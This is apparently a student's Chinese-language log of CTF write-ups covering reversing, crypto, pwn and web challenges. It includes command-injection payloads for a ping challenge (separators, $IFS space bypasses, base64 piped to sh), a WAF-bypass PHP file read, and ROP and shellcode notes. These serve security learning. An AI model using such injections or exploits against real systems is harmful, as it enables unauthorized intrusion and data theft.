- ip=127.0.0.1 是ping命令
- 加||,空格会fuck your spaces
- 使用ip=127.0.0.1;ls 可以查看所有文件
- 看答案空格可以用$IFS$1代替
- flag.php不让看,index.php可以查看
- 发现有个a变量,可以变量替换?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
- echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh //通过base64
- ip=127.0.0.1;cat$IFS$10
ls
//ls
即取ls的结果
[rev][SWPU2019]EasiestRe
父子进程问题
- 找到main函数
- 发现进行了fork,然后判断父子进程,子进程就输出,父进程等待调试事件
- 子进程求长度之后int3,父进程得到int3之后判断nop数量,然后写入内存
- 4个nop:直接继续执行
7个nop:写入v65
30个nop:写入v64 - 得到长度是0x18
- 通过SEH链实现验证逻辑
1 | v65 = [0x90,0x83,0x7d,0xf8,0x18,0x7d,0x11] |
1 | v64 = [0x90,0xF,0xB6,0x55,0xF7,0x8B,0x45,8,0x8B,4,0x90,0xF,0xAF,0x45,0xFC,0x33,0xD2,0xF7,0x75,0xF8,0xF,0xB6,0x4D,0xF7,0x8B,0x45,0xC,0x89,0x14,0x88] |
好家伙一个小错误弄一个小时
1 |
|
[misc]二维码
二维码图片,扫出来 secret is here
二进制查看,发现 number4.txt
binwalk走一波,出来个加密zip
看答案,原来number4暗示密码是4个数字,使用fcrackzip爆破
fcrackzip -b -c1 -l 4 文件名
找到一堆可能的密码,7639是
[rev][NPUCTF2020]EzObfus-Chapter2
- 里面有个很多层调用的函数
- 本来想用调试方法爆破,可是总是出个访存异常mmp
- 看答案,顺便学一下angr
1 | import hashlib |
这道题也可以用qiling框架做,debug也可以,改天再试试
[rev][RCTF2019]DontEatMe
迷宫问题
- 使用固定种子随机生成迷宫
- 对用户输入做一些变换,作为步输入进迷宫
- 通过debug打印迷宫
- 起点为5,10
- 最终需要所处的点为0最终位于9,4,总步数不超过17,大概就是中间那条线
对于输入的变换
- base16解码
- 对于每解码后的每8个Byte,分成两组4Byte,每个byte16轮变换,中间两个常量通过debug得到
- 调试器可以更改数据显示类型以更好地复制
1 | import hashlib |
[rev][RCTF2019]babyre1
- base16解码
- xxtea解密
1 |
|
输出了Bingo!啊,为啥不对呢
看了答案,由于最后两位是未知的,并且缺少md5,所以错误。最后一位可以猜测出是\x02,倒数第二位真的需要md5了
[rev][watevrCTF 2019]Repyc
在线pyc反编译,然后打开发现是复杂的变量名
分析虚拟机架构,重命名各个变量
得到总流程,可是最后结果出不来,看答案说是编码问题。所以为啥先用utf-8编码再处理就可以了呢。然后尝试了utf-8编码再utf-8解码,得到的数值就不一样了
后续补充:python中编码即把类型变成str,一个单位是一个数,这个数代表要显示的字符,大概可以看成一个编号;解码就是这个字符对应的字节序列
1 | f = b'\xc3\xa1\xc3\x97\xc3\xa4\xc3\x93\xc3\xa2\xc3\xa6\xc3\xad\xc3\xa4\xc3\xa0\xc3\x9f\xc3\xa5\xc3\x89\xc3\x9b\xc3\xa3\xc3\xa5\xc3\xa4\xc3\x89\xc3\x96\xc3\x93\xc3\x89\xc3\xa4\xc3\xa0\xc3\x93\xc3\x89\xc3\x96\xc3\x93\xc3\xa5\xc3\xa4\xc3\x89\xc3\x93\xc3\x9a\xc3\x95\xc3\xa6\xc3\xaf\xc3\xa8\xc3\xa4\xc3\x9f\xc3\x99\xc3\x9a\xc3\x89\xc3\x9b\xc3\x93\xc3\xa4\xc3\xa0\xc3\x99\xc3\x94\xc3\x89\xc3\x93\xc3\xa2\xc3\xa6\xc3\x89\xc3\xa0\xc3\x93\xc3\x9a\xc3\x95\xc3\x93\xc3\x92\xc3\x99\xc3\xa6\xc3\xa4\xc3\xa0\xc3\x89\xc3\xa4\xc3\xa0\xc3\x9f\xc3\xa5\xc3\x89\xc3\x9f\xc3\xa5\xc3\x89\xc3\xa4\xc3\xa0\xc3\x93\xc3\x89\xc3\x9a\xc3\x93\xc3\xa1\xc3\x89\xc2\xb7\xc3\x94\xc3\xa2\xc3\x97\xc3\x9a\xc3\x95\xc3\x93\xc3\x94\xc3\x89\xc2\xb3\xc3\x9a\xc3\x95\xc3\xa6\xc3\xaf\xc3\xa8\xc3\xa4\xc3\x9f\xc3\x99\xc3\x9a\xc3\x89\xc3\x85\xc3\xa4\xc3\x97\xc3\x9a\xc3\x94\xc3\x97\xc3\xa6\xc3\x94\xc3\x89\xc3\x97\xc3\x9a\xc3\xaf\xc3\xa1\xc3\x97\xc3\xaf\xc3\xa5\xc3\x89\xc3\x9f\xc3\x89\xc3\x94\xc3\x99\xc3\x9a\xc3\xa4\xc3\x89\xc3\xa6\xc3\x93\xc3\x97\xc3\x9c\xc3\x9c\xc3\xaf\xc3\x89\xc3\xa0\xc3\x97\xc3\xa2\xc3\x93\xc3\x89\xc3\x97\xc3\x89\xc3\x91\xc3\x99\xc3\x99\xc3\x94\xc3\x89\xc3\xa2\xc3\x9f\xc3\x94\xc3\x89\xc3\x96\xc3\xa3\xc3\xa4\xc3\x89\xc3\x9f\xc3\x89\xc3\xa6\xc3\x93\xc3\x97\xc3\x9c\xc3\x9c\xc3\xaf\xc3\x89\xc3\x93\xc3\x9a\xc3\x9e\xc3\x99\xc3\xaf\xc3\x89\xc3\xa4\xc3\xa0\xc3\x9f\xc3\xa5\xc3\x89\xc3\xa5\xc3\x99\xc3\x9a\xc3\x91\xc3\x89\xc3\x9f\xc3\x89\xc3\xa0\xc3\x99\xc3\xa8\xc3\x93\xc3\x89\xc3\xaf\xc3\x99\xc3\xa3\xc3\x89\xc3\xa1\xc3\x9f\xc3\x9c\xc3\x9c\xc3\x89\xc3\x93\xc3\x9a\xc3\x9e\xc3\x99\xc3\xaf\xc3\x89\xc3\x9f\xc3\xa4\xc3\x89\xc3\x97\xc3\xa5\xc3\xa1\xc3\x93\xc3\x9c\xc3\x9c\xc2\x97\xc3\x89\xc3\xaf\xc3\x99\xc3\xa3\xc3\xa4\xc3\xa3\xc3\x96\xc3\x93\xc2\x9a\xc3\x95\xc3\x99\xc3\x9b\xc2\x99\xc3\xa1\xc3\x97\xc3\xa4\xc3\x95\xc3\xa0\xc2\xa9\xc3\xa2\xc2\xab\xc2\xb3\xc2\xa3\xc3\xaf\xc2\xb2\xc3\x95\xc3\x94\xc3\x88\xc2\xb7\xc2\xb1\xc3\xa2\xc2\xa8\xc3\xab' |
watevr{this_must_be_the_best_encryption_method_evr_henceforth_this_is_the_new_Advanced_Encryption_Standard_anyways_i_dont_really_have_a_good_vid_but_i_really_enjoy_this_song_i_hope_you_will_enjoy_it_aswell!_youtube.com/watch?v=E5yFcdPAGv0}
[rev][GXYCTF2019]minecraft
- 先判断长度为>5 <33
- base64编码
- 爆破(没想到爆破速度这么快)
1 |
|
最后要推测,加d}
[rev][WMCTF2020]easy_re
https://www.52pojie.cn/thread-317216-1-1.html
跟进程序第一步的那个内存,然后单步往下调试,就可以看到反汇编窗口注释处各种字符串,直接复制就是脚本了
1 | eax:"$flag = \"WMCTF{{I_WAnt_dynam1c_F1ag}}\";\r\nprint \"please input the flag:\";\r\n$line = <STDIN>;\r\nchomp($line);\r\nif($line eq $flag){{\r\n\tprint \"congratulation!\"\r\n}}else{{\r\n\tprint \"no,wrong\"\r\n}}" |
[web][RoarCTF 2019]Easy Calc
原来可以访问calc源码啊
- 如果WAF中有个规则是num不是表达式就拦截,WAF解析链接的时候会把空格和某些字符转为下划线,所以WAF看到的%20num参数会解析成_num,但是PHP解析时候会将空格去掉,这样就绕过WAF了
- 黑名单中有单引号和双引号过滤,所以要用chr()代替字符
calc.php?%20num=phpinfo()
calc.php?%20num=var_dump(scandir(chr(47))) // 扫描根目录
有个f1agg
calc.php?%20num=show_source(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)) // 获取文件内容,使用file_get_contents也行
参考
https://www.cnblogs.com/borber/p/Easy_Calc_1.html
[rev][FlareOn5]FLEGGO
一大帮exe文件
1BpnGjHOT7h5vvZsV4vISSb60Xj3pX5G.exe
ZImIT7DyCMOeF6 651174.png => w
这个输出很奇怪
使用ResourceHacker发现所有的文件,密码都在指定的偏移处,可以直接执行
1 | import base64 |
1 |
|
然后手动排序
[DASCTF]安恒7月赛 alphabeta
这道题竟然可以用z3,我还以为直接穷举,学到了
1 | import base64 |
[dasctf]hide_and_seek
- 入口不是真入口,通过调试找到了真正的入口
- patch掉反调试,patch掉花指令,patch掉无用函数
去除无用函数脚本
1 | start = 0x4020b3 |
大概是通过异常处理找到main函数,最后是异或了一组数,像是rc4加密
1 |
|
[rev][SUCTF2019]Akira Homework
同时看两份答案才勉强看懂
TLS回调在进程创建、结束,线程创建、结束偶会有回调
C语言中::Src代表访问名为Src的全局变量,避免和局部变量混淆
有一段password,按照指定格式异或置换即可
从signature文件流读取文件,
这个写入文件流总是不成功,于是直接把冒号改成a,改成从文件读取就好了1
type 1.txt >> WinRev.exe:signature
后进行md5校验
IDA Ctrl+E可以查看程序所有入口
TLS回调里面有个反调试和字符串解密
调试调着调着就退出了,猜测是主函数创建多线程搞得鬼,在副线程函数处下断调试,发现有个枚举进程名,然后进程了进程名的md5比对,调试发现如果是ida64.exe就退出
我tm直接改成jmp
sub_14008500里面还是有反调试
反调试这里有个只执行一次的函数,还不清楚是什么
WaitForMultipleObjects是程序接收信号的位置,258代表睡眠超时信号,使用这个结合多线程可以实现基于时间的反调试
然后后面有map一个dll进内存,查看map的dll,可以看到mz文件头,就是可执行文件头,dump内存,可以通过字符串找到主函数
之后可以查看到AES加密,密钥很明显,密文在sub_14009850的Src中
这个是因为dump下的内存中,sub_180002880打开的是名为SharedMemory的映射,并且子线程中SharedMemory的数据很明显了
唔,还是需要学习呀
1 | import base64 |
参考
https://xz.aliyun.com/t/6042#toc-9
https://blog.csdn.net/qq_41252520/article/details/100738585
https://www.52pojie.cn/thread-1039478-1-1.html#28221000_akira-homework
[rev][QCTF2018]babyre
有个关键函数,直接看汇编没什么头绪,看答案了
rust语言逆向
- 通过IDAView可以查看函数大概流程
- 既然是处理,又不是超大函数,那基本上肯定有cmp指令,之后就会有分支,那这里就是关键点
- 然后经过三个处理函数,最后进行检测
第一个处理函数
分析出两个函数,都是获取指定偏移的地址,于是可以发现变换规律:
4个为一组进行移位
2–>0 3–>2 0–>1 1–>3
逆变换就是 0–>2 1–>0 3–>1 2–>3
第二个处理函数
4个为一组,单个字符变换
3: -127 4: +7 5: +18 6: +88
第三个处理函数
9: ror 2 10: ror 7 11: ror 4 12: ror 5
比对函数里面有一串字节序列,应该就是要比对的数据了
1 |
|
总结:
- 一般会有cmp的地方是关键,因为要比对flag,长度等
- 程序中有一个或两个关键函数,比如本程序中的获取指定偏移处的数据
- 敢于行动
[rev][ACTF新生赛2020]fungame
程序进入之后有个读取输入,然后异或,得到结果
Re_1s_So0_funny!
提交不是flag(肯定不是),查看接下来的函数,使用了strcpy,再查看目标地址,发现strcpy溢出了,覆盖了旧ebp,这样肯定会引起异常吧,所以要找exception handler
挨个查看函数,有个函数让input again,然后base64,和a1s0_pWn比对,最终是
Re_1s_So0_funny!a1s0_pWn
还有个Reverse字符串
看答案是要使用pwn的思想,跳转到指定的地址(大概是第二次输入)
Re_1s_So0_funny!\x3d\x23\x40(=#@)
Re_1s_So0_funny!=#@
总结
善于思考题目的提示,善于观察,路子要野,不能走死了
[rev][CFI-CTF 2018]Automated Reversing
读取指定偏移的数据然后做一些操作
注意不要用os.listdir(),那个是不排序的
1 | import base64 |
[rev][FlareOn1]5get_it
是一个dll,x32dbg可以直接加载
先是做了一些注册表的操作= =,然后拷贝了一份文件,可能因为权限不够,拷贝不成功
后面是读取按键的操作,并且将按键保存到了svchost.log文件中
然后在IDA中发现了DlgFunc函数,交叉引用找到了调用它的函数,函数很大,功能简单,实际上拷贝了3个字符串,使用python看看字符串是啥
1 | Courier New |
原来是欢迎界面,交叉引用这个函数,得到当按下m并且一个全局变量大于0时就打印
猜测m是最后一个字符,通过交叉引用全局变量找到上一个字符,是o,依此类推,向前找
moctodnohsaderalfta5ek0rt5todrutodgnigg0l
l0gging.ur.5tr0ke5@flare-on.com
得到了,也包了flag,不知道为何不对。找到了这个
https://cyberdefenders.org/labs/24
发现u是大写u,是我看错了吗 = =。大概是题目bug,输入小写u依然可以通过
[rev][HackIM2020]returminator
发现输入超过了s的长度,使用了pwn的思想,构造了一条rop链。可以看成一个VM,下面是反汇编脚本
1 | import base64 |
得到汇编指令之后可以观察到对于每一个字符的处理,注意exit退出时的参数就是返回值,参数位于rdi
s代表input,r代表返回值
1 | r[0]==s[0]+s[2]+s[4]-0x64 |
之后使用z3求解
1 | import hashlib |
[pwn][BJDCTF 2nd]r2t3
长度是unsigned int8类型的,可以溢出
程序中有个函数可以获取shell
1 | from pwn import * |
[Crypto]rsa2
低解密指数攻击
https://github.com/pablocelayes/rsa-wiener-attack
1 |
|
需要注意的是,上述代码需要在python2中运行,python2和python3的hex()函数有点不同,python2会在末尾加一个L,python3没有L
[misc]大白
使用010editor可以验证图片的CRC
修改图片的宽度和高度相同,就可以得到flag
[rev][NPUCTF2020]芜湖🛫
先解密数据再解密字符串,原来是base64隐写
1 | # coding=utf-8 |
[rev][FlareOn6]DnsChess
国际象棋
使用域名查询,域名由:棋子类型-起始点-终止点.固定域名组成,返回IP为:127..顺序.验证
会验证顺序是否相等
解密也在getNextMove中,就是off_4120字符串,如果你获胜,就会把这个字符串拷贝到a3中显示
1.txt 为处理后的域名 ip组合
1 | rook-c3-c6.game-of-thrones.flare-on.com |
要改一下hosts,以便和他下棋
1 | # coding=utf-8 |
基本逻辑逆到了,但是顺序没有注意到
参考
https://kawing-ho.github.io/2019/flareon-dnschess/
[pwn]get_started_3dsctf_2016
1
程序中有get_flag函数,可以构造栈空间,但是pwntools打不过去,调试也调试不得
1 | from pwn import * |
2
使用mprotect函数,修改bss段,然后写入shellcode,getshell
1 | # encoding=utf-8 |
感想
payload一次性完成了,我的payload多次跳转,存在不确定性;另外可以通过ROP链维护栈平衡
参考 https://www.cnblogs.com/lyxf/p/12113401.html
[rev][XMAN2018排位赛]easyvm
1 | # coding=utf-8 |
1 | import hashlib |
[crypto][BJDCTF 2nd]老文盲了
看起来像与佛论禅,实际是考读音和语义
bjd{这就是flag直接交了吧}
[Crypto][Windows系统密码]
windows加密方式,打开后应该是冒号前后是两个md5,我以为是一个呢555
[Crypto][BJDCTF 2nd]燕言燕语-y1ng
一串东西难以复制,只能f12= =
看起来是ASCII序列,直接解出一个串
1 | yanzi ZJQ{xilzv_iqssuhoc_suzjg} |
在线解密
https://www.qqxiuzi.cn/bianma/weijiniyamima.php
所以大佬是怎么看出这时维吉尼亚密码的,可以去解密网站解密,但是更好的是学习一下维吉尼亚密码的加密方式
[crypto]传统知识+古典密码
原来天干地支有个表的,查表就可以了
http://114.xixik.com/tiangandizhi/
辛卯,癸巳,丙戌,辛未,庚辰,癸酉,己卯,癸巳 +甲子就加那个数
28,30,23,8,17,10,16,30
一个甲子是60,原来是这么算的
然后还有凯撒加密和栅栏加密(这种尝试就好了吗)
1 | # coding=utf-8 |
[crypto]信息时代的步伐
中文电码,是电报中传送中文信息的方法
还有典故 https://baike.baidu.com/item/%E4%B8%AD%E6%96%87%E7%94%B5%E7%A0%81/2667759?fr=aladdin
中文电码即一个数字代表一个编码,4位数字,具体编码有差异
[Crypto]RSA1
参考自https://blog.csdn.net/qq_32350719/article/details/102719279
原来dp是d mod (p-1)的意思
设$m,m_1,m_2$分别为明文,$m_1\equiv m\mod p,m_2\equiv m\mod q,d$为解密密钥
这样一来就是同余式方程组了,根据中国剩余定理有
$$
m_1=c^d \mod p\m_2=c^d\mod q
$$
证明
$m=c^d+pqk,m\mod p=c^d\mod p,m\mod q=c^d\mod q$
可以得到
$c^d=kp+m_1$,带入$m_2$,得$m_2=(kp+m_1)\mod q$
两边同时减去$m_1$,得到$m_2-m_1=kp\mod q$
由于$gcd(p,q)=1$,所以$p^{-1}\mod q$存在
$(m_2-m_1)*p^{-1}\equiv k\mod q$
又$\because c^d=kp+m_1$,带入得到$c^d=((m_2-m_1)*p^{-1}\mod q)*p+m_1$
带入$m\equiv c^d\mod n$,得到$m\equiv(((m_2-m_1)*p^{-1}\mod q)*p+m_1)\mod n$
这里需要求$m_1,m_2$
$d\equiv d^p\mod (p-1),d\equiv d^q\mod (q-1)$
证明:根据费马小定理$\because p\ is\ prime\therefore d^{p-1}\equiv 1\mod q$
从而$d=dp+k*(p-1)$,直接带入$m_2=c^{dp+k*(p-1)}\mod p$,$\because c^{k*(p-1)}\equiv 1\mod p$
得到$m_2=c^{dp}\mod p$
同理$m_1=c^{dq}\mod q$
所以解题脚本就出来了
1 | # coding=utf-8 |
[Crypto]凯撒?替换?呵呵!
看wp说是凯撒移位密码,可能是每个字母移动的位置不同,所以需要统计词频来解,直接使用在线工具
[rev][SWPU2019]easyRE
- 找到主函数,发现一个复杂结构体
- 有正则表达式匹配
^swpuctf\\{\\w{4}\\-\\w{4}\\-\\w{4}\\-\\w{4}\\-\\w{4}\\}
- 调试发现+52处是比对数据,长度40;+12处是输入变换后的数据,长度40
- 0处是个结构体
- 本以为是啥加密算法,原来看不懂,wp也说看不懂,但是根据正则表达式可以穷举,范围不太大
1 |
|
[Crypto]old-fashion
quipquip.com一把梭
[Crypto]萌萌哒的八戒
猪圈密码,使用不同的符号代替之前的符号
http://www.metools.info/code/c90.html
[Crypto][BJDCTF 2nd]灵能精通-y1ng
圣堂武士密码https://www.tuicool.com/articles/2E3INnm
IMKNIGHTSTEMPLAR
[crypto]RSA3
原来这就是共模攻击,学到了
1 | # coding=utf-8 |
[crypto]RSA2
$dp=d\mod (p-1)$
$ed=1\mod (p-1)(q-1)$
$k_1(p-1)+dp=d$
$k_2*(p-1)(q-1)+ed=1$
$\therefore k_2(p-1)+ek_1(p-1)+edp=1$
两边同时对p-1取模$edp\mod (p-1)=1$
$edp=k(p-1)+1$
$k=\frac{edp-1}{p-1}\lt e(\frac{dp-1}{p-1}-\frac{1}{p-1})$
由于$dp$位于[0,p-2],所以$k\lt e$,可以穷举
1 | # coding=utf-8 |
[pwn]ciscn_2019_en_2
encrypt函数中有个可以利用的点,s是可以溢出的
payload构造过程
0x60207a
- pop rdi,ret;命令用于参数
- 使用gets读入/bin/sh字符串
- 使用puts输出puts的got表信息
- 计算出system的地址,直接call
- 调用顺序 pop_rdi->gets->puts->encrypt->system
- 需要注意还有个变换
payload 如下
1 | from pwn import * |
555终于打通了,另外那个/bin/sh字符串可以似乎用libc的
[rev][INSHack2017]secure-garden-shed-v1
- 判断文件头
- 寻找code段和data段,并进行了解密
- 进行跳转,1a20->1c20->1bfc->1b38->1b24->1ce0->1b9c->1a98->1a24->1a98->1e5c->1d24->1ce0->1e5c->1d24->1ce0->1b38->1b00
- 1b9c中有输入,1b38中有输出,合理推测1bfc中是解密输出字符串
- 1b38中有错误提示
- 输入的数据在0x5655b1a0
data段解密流程
1 | if ( dataSegLen ) |
既然每次读入一个字符,那就是按位验证,又看到错误情况下指令数和基本块数相等,pin爆破
1 |
|
注意编译MyPinTool.so的时候命令是32位的
1 | make TARGET=intel64 # x64 |
直接爆破出flag,输入是
1 | thisisastrongpassphrasebecauseitisreallylongandrandomattheenduoiiencger |
好家伙真够长的
阿哲,大佬直接搜索字符串了555
尝试解密文件,原来是这样
1 | # coding=utf-8 |
[rev][SCTF2019]music
注意eclipse中编码要选择utf-8,否则解不出来
变形rc4,key在数据库中,要比对的数据位于strings.xml,可以使用穷举法,也可以找出异或使用的流密钥然后再异或
1 | class p { |
[crypto]RSA
https://www.cnblogs.com/huxianglin/p/6387045.html
https://www.jianshu.com/p/c93a993f8997
1 | # coding=utf-8 |
[crypto]异性相吸
两个文件长度相同,猜测是异或
1 | key = None |
[crypto]汉字的秘密
当铺编码,根据字的出头数编码
1 | # coding=utf-8 |
[crypto]unencode
uuencode编码
类似base64 http://web.chacuo.net/charsetuuencode
[crypto]Dangerous RSA
低加密指数攻击实战
1 | # coding=utf-8 |
[crypto]Cipher
“公平的玩”给出信息是playfair密码(wtf??),学到了
http://rumkin.com/tools/cipher/playfair.php
密钥是playfair
https://blog.csdn.net/qq_45784859/article/details/105766145
[crypto]达芬奇密码
https://blog.csdn.net/yao_xin_de_yuan/article/details/108348186
唉,还是得多见。
斐波那契数列的第i项对应着i,第一个数列的意思就是把第二个数列对应位置的数映射到对应位置上面
1 | import gmpy2 |
有两个1,所以第一位置可能是7也可能是3,试试就得了
[rev][De1CTF2019]cplusplus
- 数字1@数字2#数字3
- 然后转化为三个word数字ns,进入0x29b0
- ns[0]<0x6f
- 有个算法总是逆不出来,只能看wp这样子 原来是梅森旋转法,可以搜常数的
- 数字2可以通过De1ta反推20637
- 数字1可以通过patch程序,使其为我们穷举输入的数字,得到0x4e 78
- 数字3需要调试,发现数字3=3*0x22+12
1 | s = 'eQDtW91a0qwryuLZvbXCEK8VghjklzxIOPASBNM2RsdfF56TYU34p7ioGHJcnm' |
[crypto]RSA5
本以为给那么多n,c对是中国剩余定理,原来是求最大公约数
1 | # coding=utf-8 |
[crypto][GXYCTF2019]CheckIn
ROT47 编码的ASCII范围是33-126
1 | # coding=utf-8 |
[crypto]传感器
都传感器了,还曼联,肯定是曼彻斯特编码,我懒了
https://www.xmsec.cc/manchester-encode/
1 | # coding=utf-8 |
[rev][De1CTF2019]Signal vm
https://blog.bi0s.in/2019/08/08/RE/Linux/de1ctf19-signal-vm/
文件采用了静态编译,经过分析,得到了fork,wait4,ptrace函数
IDA中Shift+F5添加libc签名库
添加ptrace的enum库便于识别ptrace动作,使用M将常数转化为enum表示;ptrace使用PEEK_TEXT时读取的是64位字
程序采用父子进程调试的形式
strace 工具可以打印程序的执行路径
可以使用python+gdb自动化找出指令(需要关闭pwngdb等插件)
1 |
|
1 | gdb -q -p $(pidof signal_vm) -x 2.py |
打印出了执行路径,先判断长度是0x46
两个矩阵相乘然后比对数据,希尔加密
本来可以希尔解密的,可是模逆矩阵不好弄,直接z3一把梭
1 | import hashlib |
[rev][FlareOn2]YUSoMeta
如果使用de4dot去混淆的话会导致调试时候得到错误的东西,大概因为这个程序通过c#的反射机制调用方法的。但是去混淆更方便找到主函数,找到主函数之后在混淆中调试就可以得到flag
[rev][FlareOn2]Snake
反汇编器
https://github.com/nesdoug/NES-DISASSEMBLER
https://onlinedisassembler.com/odaweb/
IDA插件 https://github.com/Jinmo/nesldr-py
模拟器 http://fceux.com/web/home.html
https://www.cnblogs.com/harmonica11/p/13456725.html
- 根据RAM Search的值变化情况找到苹果相关值0025
- 在0025处下内存断点,找到引用0025的地方
- 发现需要吃0x33个苹果,然后0026会被赋值f0
- 直接在cheat窗口将0025改为0x33,0026改为f0
[rev][INSHack2017]secure-garden-shed-v2
找协议缺陷,可以发现7是弃用的。打开ida看看,7处有个函数,各种异或还输出。所以直接构造code或者gdb set $eip=指定地址 来调用这个函数。
[rev][NPUCTF2020]EzReverse
迷宫问题,7个元素为一行
起点为(0,0),终点为(6,6),对应的值为偶数则为墙
hjkl 左下又上
[rev][FlareOn1]Sploitastic
一个pdf,使用binwalk解出三个zlib文件,里面是纯文本
看起来像16进制数字,直接解码,解出一个js脚本
1 |
|
1 | 002050ff40000069000005695050 |
还有个二进制文件,里面是pdf
上面js文件原来是shellcode,厉害
1 |
|
windows上面关闭DEP,编译调试,就得到flag了
[rev][FlareOn6]demo
IDA7.5识别不了
https://0xdf.gitlab.io/flare-on-2019/demo.html#
https://malwareunicorn.org/workshops/flareon6_2019.html#5
看wp,加了https://github.com/runestubbe/Crinkler 壳,可以使用esp定律法脱壳
具体做法:x32dbg调试在主函数中发现了pushad,可以使用graph命令绘制流程图,然后发现多次pushad,popad,直接执行到ret,再单步即可脱壳。
接下来可以获取各个函数的功能
最后有个D3DXTranslation,把第一个参数改为0即可
[rev][Zer0pts2020]QR Puzzle
1 |
|
1 | from matplotlib import pyplot as plt |
[rev][FlareOn2]sender
1 |
|
[rev][SUCTF2018]HelloPython
tea加密,查看题目来源的题目描述得到密文
1 |
|
[rev][NPUCTF2020]Anti-IDA
从后往前逆向算法
- base16解码
- 翻转字符串得到targeta
- 根据targeta的范围可以确定dword_4321c0的范围,从而确定是sub_4015f0初始化dword_4321c0
- 根据计算v39=11
- 根据最大公约数确定dword_4324c0
- 后面一系列处理
参考 https://www.sqx-ub1sec.tech/ctfweb%E4%B8%93%E5%8C%BA/%E5%87%BA%E9%A2%98%E6%89%8B%E8%AE%B0
1 | # encoding:utf-8 |
本来可以不看wp就对的,两处不认真 🌿
[rev][FlareOn5]web2.0
参考 https://www.fireeye.com/blog/threat-research/2018/10/2018-flare-on-challenge-solutions.html
webassembly
本来想用wabt先反编译成C再分析,可是似乎太麻烦了,于是寻找简单的做法
反编译成C后可以再回编译为可执行文件,然后用ida打开
也可以用webassembly studio https://webassembly.studio/
webassembly studio可以配合火狐的SpiderMokey插件查看Firefox的JIT过程,可以看到x86汇编代码的
ida有插件 https://github.com/fireeye/idawasm
https://mbebenita.github.io/WasmExplorer/ 这个工具似乎比studio好用不少
https://www.52pojie.cn/misc.php?mod=faq
1 | # encoding:utf-8 |
[rev][SWPU2019]RE1
sub_4059e0,猜测是父子进程调试
流程大概是父进程创建子进程,然后创建线程不断给子进程发信号15,直到子进程退出
调试的时候程序CreateWindowExA会异常停止,不调试没问题。
https://www.anquanke.com/post/id/194640#h3-11
https://zhuanlan.zhihu.com/p/96698636
sub_401c50,sub_401470都是反调试
去花脚本
1 | #end = 0x44F3C0 |
需要先过反调试
可以通过CE搜索字符串找到基址,然后IDA交叉引用找到关键代码
TODO
[Crypto]密码学的心声
八进制,已经提示没有8了= =
[rev]SUCTF2019]babyunic
搜索un_open发现是unicorn-engine
流程大概是打开func文件,然后以mips 大端模式执行代码
使用ghidra可以反编译代码
关于架构和模式信息,可以查看unicorn/unicorn.h
参考: https://www.52pojie.cn/thread-1039478-1-1.html#28221000_babyunic
1 | import base64 |
[rev] [watevrCTF 2019]Fuckn’t
github有jsunfuck
https://github.com/krk/jsunfuck
1 | []["f"+([!1]+[][[[].filter["constructor"]("return(isNaN+false).constructor."+420302320151902["toString"]("31")["split"](3)["join"]("C")+"de("+"119false97false116false101false118false114false123false106false97false118false97false115false99false114false105false112false116false95false105false115false95false97false95false49false97false110false103false117false97false103false51false95false102false48false114false95false105false110false116false51false49false49false51false99false116false117false97false49false115false125"["split"](!1)+ |
[rev]GAesDecode
变化版AES,主要不同在于密钥无需扩展,直接是长密钥;另外MixColumns时乘的多项式也变了
1 |
|
1 |
|
参考:https://www.jb51.net/article/98437.htm
[rev][flareOn2]Android
质因数分解
1 | # encoding:utf-8 |
[rev][FlareOn4]zsud
参考 https://www.cnblogs.com/harmonica11/p/13162759.html
首先是个超深度调用403690,直接写脚本跟进去
1 | addr = 0x403690 |
得到了4027e0,可以使用IDA的书签功能(Alt+M,Ctrl+M)
往后面走,找到一个API函数CorBindToRuntimeEx,是关于.net的函数
有两种混淆,第一种就是深度jump,第二种是加密字符串和函数。开头一个startThread就是填各种函数。执行过程中有动态解密字符串
程序中使用了不存在的访问路径,所以应该确定是不是hook了相关函数
然后使用CE搜索内存中的This字符串,找到那个要执行的dll(This program cannot…),dump出来,拖进dnspy(直接IDA列出字符串也可以,我大意了)
IDA的字符串也可以(clr.pdb)显示出通过.net运行
发现解密并执行了一段powershell脚本(参数),这时想起调用CorBindToRuntimeEx时的最后一个参数正是一个base64串,溯源找到原来的字符串,我tm直接解密
得到了一个很大的powershell脚本(卒)
可以通过不断地走路得到整个游戏的地图
[rev][FlareOn2]gdssagh
打开运行,没什么东西
但是发现long jmp下面有个base64串,我tm直接解码,之后是PNG文件头,打开是个图片,没东西
找找图片隐写工具zsteg,发现有种类型是有PE文件的
1 | zsteg -v -E b1,rgb,msb,xy ./addr.png b1,rgb,msb,xy > 1.exe |
提取出来后直接strings
[rev][FlareOn4]notepad
前面各种校验,然后会读取用户文件夹下flareon2016challenge下的文件,这里其实提示应该去找flareon2016的比赛文件,按照感染顺序打开文件,每个文件会分别写入key的8个字节,然后就得到结果了
[ctfhub][rev]西门子dos攻击事件
https://zhuanlan.zhihu.com/p/27428923
https://www.cnpanda.net/ctf/415.html
https://github.com/can/CVE-2015-5374-DoS-PoC/blob/master/Siemens_SIPROTEC_DoS.py 这里有payload
flag就是payload的十六进制值
[ctfhub][rev]简单的apk分析
Flag{ft-dt-src-2019-8}
解包得到multiprotocol.tesla.scada,然后反编译,使用jadx的返混淆功能,RunnableC0000F中可以找到flag
[rev][D3CTF 2019]SIMD
https://fa1conn.github.io/2019/11/14/d3ctf_SIMD_writeup/
题目源码
https://github.com/fa1conn/D3CTF-2019-Rev-SIMD-Source-Code/tree/master/source
SM4的快速实现
http://html.rhhz.net/ZGKXYDXXB/20180205.htm
查指令
https://www.felixcloutier.com/x86/index.html
// TODO
[rev][RCTF2019]asm
使用ghidra打开,可以找到程序主逻辑
根据flag格式RCTF{}才可以解出flag
1 |
|
[rev][watevrCTF 2019]Hacking For Vodka
使用了ptrace反调试
有两个几乎一模一样的函数,如果两次调用ptrace,则第二次会返回-1,这样程序就知道被调试了
直接patch掉jns,后面patch掉je,都改为jmp即可,然后可以用gdb脚本也可以按位调试
[rev][BSidesSF2020]config-me
Rust程序
直接改动config-me.conf内的name域为flag即可
[rev][b01lers2020]stahp
脑洞题
https://github.com/b01lers/b01lers-ctf-2020/blob/master/rev/200_stahp_the_train/writeup.md
welcome函数有个反调试,直接patch
然后输入HELP会输出部分flag和key,这是sub2356,下面还有个sub_25f2,由第二个参数控制没输出,直接patch输出就行了
另外第一个部分flag还少输出一个数字= =
然后是flag和key异或,应该是根据flag格式判断的吧
1 | import hashlib |
[GKCTF 2021]Crash
一开始没什么头绪,就看wp了
